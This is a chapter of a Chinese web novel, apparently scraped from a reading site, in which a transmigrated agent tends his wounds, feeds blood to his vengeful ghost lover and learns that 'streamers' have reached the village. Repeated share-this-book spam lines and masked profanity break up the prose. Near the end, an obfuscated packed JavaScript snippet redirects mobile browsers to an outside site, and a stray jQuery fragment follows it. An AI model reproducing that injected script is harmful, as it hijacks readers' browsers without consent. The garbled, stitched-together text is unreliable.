温情没有持续多久,恨意再次占领高地。
宋秋粟像只挨过打的流浪猫,被摸了两下脑袋,刚有些放松,想起过去的痛苦,又开始炸毛。
伸出锋利的爪子挠了林清羽一下,化成一团血雾,要往山里钻。
宋秋丫怕他神志不清出去乱**,举着汗衫,追着血雾甩。
林清羽也想追,但他没力气。
身上密密麻麻,全是细小的伤口。
两侧肩膀和左。腿伤得厉害,掉了几块肉,还在不停流血。
对他影响最大的,是头上的伤。
宋秋粟方才的软化,让林清羽一直紧绷的神经放松下来。
胸口提着的那口气一泄,疼痛和眩晕同时袭来。
林清羽晃晃头想保持清醒,却把自己晃得更晕了。
‘窝囊,后台能不能看到我的身体状况?’
【我不喜欢这个称呼,你还是叫我小窝吧。】
‘……’
【???】
【你怎么晕了?!**你这后台也没怎么样啊,你晕什么,我这么气人?你别讹我!】
林清羽没晕,他就是累。
家里一人一鬼一统,一个死活要泼狗血,一个左右脑互博,还有一个读不懂气氛。
三个加起来,都没有大黄狗省心,净给他添乱。
宋秋粟对他的杀心没那么凶了,现在在和宋秋丫对线,一时半会不会过来找他的麻烦。
眼前天旋地转,林清羽索性后退两步靠着墙壁滑落,想坐地上歇一会,缓口气。
等秋丫回来,再跟她去村里的卫生所,处理下身上的伤口。
佛恩村的人离不开村子,没办法去别的地方治疗。
这里的人一窝一窝生,还能活蹦乱跳活这么久,村卫生所的医疗水平一定很超前。
用仅剩的精力思考完,林清羽放松地闭上眼睛。
在倒地的瞬间,他被一团潮湿的东西接住。
浓郁的血腥味和大蒜味往他鼻子里钻,宋秋丫焦急的喊声远远传来。
林清羽抬抬眼皮,跑掉的死鬼不知何时回来了。
正抱着他,一边冲他呲牙,一边手足无措地摸着他的脸。
林清羽脑袋懵了一下,突然觉得好得意。
不管到了哪个世界,不管哥哥有没有记忆,对他有多么强烈的恨意,他的灵魂都是爱他的。
他的底色,永远是那个在垃圾堆里,亲手抚养他长大的苏妄。
哥哥在,他到哪都有依靠,在哪个世界都有家。
————
林清羽在哥哥阴冷的怀里,安心地睡过去。
不知道过了多久,他被嘈杂的声音吵醒。
是几个人在对骂,其中掺杂着兔子
听说看这本书的人都是很幸运的,分享后你的运气会更棒
**的叫声。
窗外不时响起广播声,【喂喂喂!明天有大集。大集有镇上来的杂技团和百物展,要收门票,5分钱一张!要的来村长家报名!】
声音很大,林清羽蒙住被子都没用。
他烦躁地睁开眼睛,看到秋丫在和一个妇女打架。
等他坐起来,秋丫已经1v2了。
林清羽大致了解一下情况。
宋秋丫之前为了帮他,去找杀猪的要汗衫。
杀猪的见色起意调戏她,秋丫一脚下去鸡飞蛋打。
老王家带着儿子来卫生所看鸡,秋丫带着昏迷的嫂子来卫生所看伤。
两边撞上,王树王婶骂秋丫不要脸,诬陷她仙人跳讹他家的钱。
有几个因为佛升堂失败,受了伤的村民也在这看病。
秋丫被人指指点点,脸上过不去,心里委屈,跟他们打了起来。
这都是什么破事。
林清羽拔掉手背上的针头,跳下去追着王叔王婶揍。
几拳下去,屋里就安静了。
村民的病都好了,互相搀扶着离开。
王家三口人整整齐齐躺成一排,冲宋秋丫陪着笑脸,跟她道歉。
原本还在抹眼泪的宋秋丫,看看嫂子,看看王家人,意识到自己也是有人撑腰的。
她吸吸鼻子,得意地挺起胸脯。
牛牛哥不用再为她操心了,去阴曹地府报道,投个好人家。
以后谁再欺负她,她就把哥哥嫂子放出来。
林清羽甩掉拳头上的血,终于有时间打量四周的环境。
小窝囊跟他说了他昏迷后的事。
秋粟飞得快,先来接的他。
追上来的秋丫,以为嫂子是被哥哥打晕的,拿着汗衫赶苍蝇一样,把秋粟赶跑了。
下山蹭晚饭的兔子**跑进来,变成一个陌生的壮汉,帮秋丫把他扛到卫生所。
他们没注意到,但系统看到了。
一团血色雾气飘飘荡荡地跟在他们身后,看到林清羽安然无恙,他就进了屋。
故事的结尾怎么和林清羽想得不一样,‘我以为他走了。’
【想什么呢,你哥的性格本来就够阴湿了,现在还是个男鬼。以后注定会阴魂不散,天天缠着你。】
‘好浪漫哦,陪伴是最长情的告白。’
【你真**是个变态。】
林清羽问它,怎么不磕他俩的爱情。他闲得无聊刷论坛的时候,经常看到其他系统磕宿主的cp。
小窝囊正在整理道具产出的卡牌,闻言沧桑地叹口气。
【想当年我也是历代宿主的cp粉头,天天为了他们美好的爱情落泪。磕cp曾是我枯燥的工作中,为数不多的乐趣。】
‘然后呢?’
【然后他
听说看这本书的人都是很幸运的,分享后你的运气会更棒
们都结婚了,我随了三十多份份子钱,没看到一点回头钱。有一个技术宅宿主最过分,把屏蔽系统升级了。我想吃他俩的饭,还要充vip,不然拉个小手都有马赛克加三十秒广告。】
‘……我不是那种人。’
【我不信!我不听!】
‘我没那么高的技术。’
吃一堑长一智,小窝囊发誓不再上宿主们的恶当,拒绝和林清羽讨论这个话题。
直到林清羽换了个问题,问死鬼老公现在在哪,小窝囊才搭理他。
【刚刚还缩在墙里,探头盯着你发呆。人多了,他就躲了起来。】
现在人少了。
王家人死活不肯和林清羽待在同一个屋子,耀祖的鸡也不管了,一步一晃地挪出卫生所。
秋丫接下了嫂子的活,帮忙去村长家买明天的票。
林清羽喊了几声秋粟,想把死鬼叫出来。
秋粟没来,兔子**窜上床,往他怀里一钻,扬起脑袋要摸摸。
他摸着黄鼠狼,又开始喊哥哥。
肩膀被什么东西戳了戳,林清羽转过头,正对上一张惨白的脸。空洞的眼眶对着他,一眼望过去,如同在凝视深渊。
林清羽吓了一跳,下意识想躲。
发现是哥哥,他又回到床上,俯身亲了亲那张鬼脸。
不愧是把他掰弯的男人,变鬼了都那么好看。
真是怎么看怎么喜欢。
宋秋粟没想到他说亲就亲,僵硬半晌,缩回墙壁里。
林清羽再叫,他就没反应了。
回魂夜结束,后台数据恢复正常。
林清羽拉出来偷看死鬼的小心思。
【#基础数据#】
【好感度:10/100(恬不知耻,试图色诱我的仇人。)】
【欲。望。值:50/100(趁我傻,把我当狗训的仇人,真想*死他。)】
【内心活动:‘又亲我了,他怎么能这么不要脸。他想从我这得到什么?我已经没什么值得他惦记的了。’】
【阴暗想法:‘饿了,想把他吃了。我恨死他了,我要把他杀了。要扯断他的四肢,撕开他的肚子,我要他……再说吧,烦**。’】
林清羽是垃圾堆走出来的赛博特工,有一百多年的揍人和挨揍经验。
如果这是游戏,他头顶的血条一定非常厚。
和关底boss一样,还能打出第二形态。
林清羽仔细感受身体状况,觉得问题不大,可以放饭。
他拿起秋丫放在床边的大剪刀,打算挑个没绷带的地方,给哥哥放血。
回魂夜的时候,宋秋粟被林清羽捅了好几下,肚子胸口到处都是洞。
他刚刚用发丝,把自己的身体修补好。
听说和异性朋友讨论本书情节的,很容易发展成恋人哦
看到大剪刀厉鬼条件反射开始哈气。
林清羽听着墙里的呜呜声
他在脖子上划出一道小口凑到泛黄的墙壁前示意哥哥吸他。
叫声停了一张鬼脸缓缓浮现“我不会接受你的小恩小惠你我之间只有仇恨再没别的感情。”
林清羽不可置信地看着他“天啊你会说话了?一口气说这么多你真聪明!”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326160|181924||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“……神经病。”
林清羽问他既然这么恨为什么不趁他昏迷把他掐死。
宋秋粟冷哼一声没回答。
林清羽放下剪刀“那你喝不喝?”
“我都说了我不接受!”
林清羽手指沾血送到墙边“啊——”
宋秋粟下意识张嘴伸出舌头舔舔手指。
舔完他后知后觉回过神脸色更白了。
骂了一句不知廉耻就化成血雾飞出窗户消失在夜幕中。
林清羽挑挑眉。
傻鬼不是白喂的。
秋粟再恨他再抗拒他也拒绝不了他。看到他就想亲看到血就想吃。
在宋秋粟还是个懵懵懂懂的新生鬼时他就把他训好了。
小窝囊折腾半天给系统做了升级。
数据变动后后台会叮咚两声自动弹出界面不需要他们手动查看。
它有用的时候还是挺有用的。
【#任务相关#】
【主线任务·结局改写:3/10(你知道了很多东西但你似乎无法把信息联系起来缺了什么呢?)】
【支线任务·好朋友:5/10(你们的友情不够坚固它不会为你冒险)】
主线看不懂没头绪还需要进一步调查。
眼下哥哥回魂了不需要人操心。宋父宋母死亡他在村里凶名远扬。
现在他们在佛恩村的自由度很高林清羽列出一份待办事项。准备明天一早拉着死鬼和秋丫出去探索。
支线任务倒是简单。
看到里面的‘它’林清羽就明白是怎么回事了。
他揉揉一边舔**一边看热闹的兔子**“你的神像我可供起来了我是你唯一的信徒你要保佑我啊**。”
黄鼠狼拍着胸脯冲他吱吱叫。
————
宋秋粟走得很决绝但后台里的内心活动显示他又偷偷溜了回来正缩在床头的保温壶里偷窥他。
壶有点小宋秋粟偶尔会露出胳膊腿再悄无声息地缩回去。
这是王家带来的壶被鬼钻过以后不能用了。
是好事。
外面传来几声轰鸣林清羽已经习惯了。
听说和异性朋友讨论本书情节的,很容易发展成恋人哦
每天晚上都会下暴雨,一直下到天亮才停下。
不知道是这里的夏季本就多雨,还是佛恩村有问题。
外面传来窸窸窣窣的声响,保温壶里探出半颗头。
发现来人是秋丫,没有危险,又缩了回去。
宋秋丫脱下身上的塑料布,在门口抖了抖,“嫂,你伤口怎么样了?”
卫生所就林清羽一个病人,他状态好得很,能追着人打。
两个大夫几小时前和他打了声招呼,就回家睡觉去了。
宋秋丫喊了几声,没找到能给嫂子换药的人。
林清羽让她不用担心,他自己会处理。
宋秋丫放心了,掏出一打票冲他晃晃,眼睛亮晶晶的,“我买到了。”
林清羽一愣,“怎么这么多?”
“我在路上碰到几个来探险的,嗯……叫什么来着?猪伯?他们没地方住,我想着能赚一点是一点,就把家租给他们了。那几个人听到广播,也想去大集看看热闹,我帮他们买了票。”
她一屁。股坐到病床上,“放心吧嫂子,我不吃亏,他们说过会付钱的。他们都是男人,我怕他们仗着人多,欺负我一个女人,没敢立刻要。等明个儿回家,你陪我去要钱。”
林清羽看着她,眉头紧锁,“他们是什么?”
“猪伯,应该是哪座大城市的名字。他们穿得可漂亮了,那些衣服我从没见过。”
“猪伯?主播?”
“对对对,主播!嫂,你知道那是哪?”
林清羽从床上直挺挺地坐起来。
连手电筒都没普及的年代,有主播???
-----------------------
作者有话说:【[鸽子]的代办清单】
提供人:林清羽
1.铁牛和哥哥的死法非常相近,调查两人的死因
2.学会佛升堂,或者找人在我面前举办一次佛升堂,我看看到底怎么回事[问号]
3.想办法让哥哥信任我,不再恨我[抱抱]
4.定期给伤口换药。
5.和秋丫、村里的老人,了解更多佛恩村的历史[吃瓜]
6.再去找趟阴阳先生。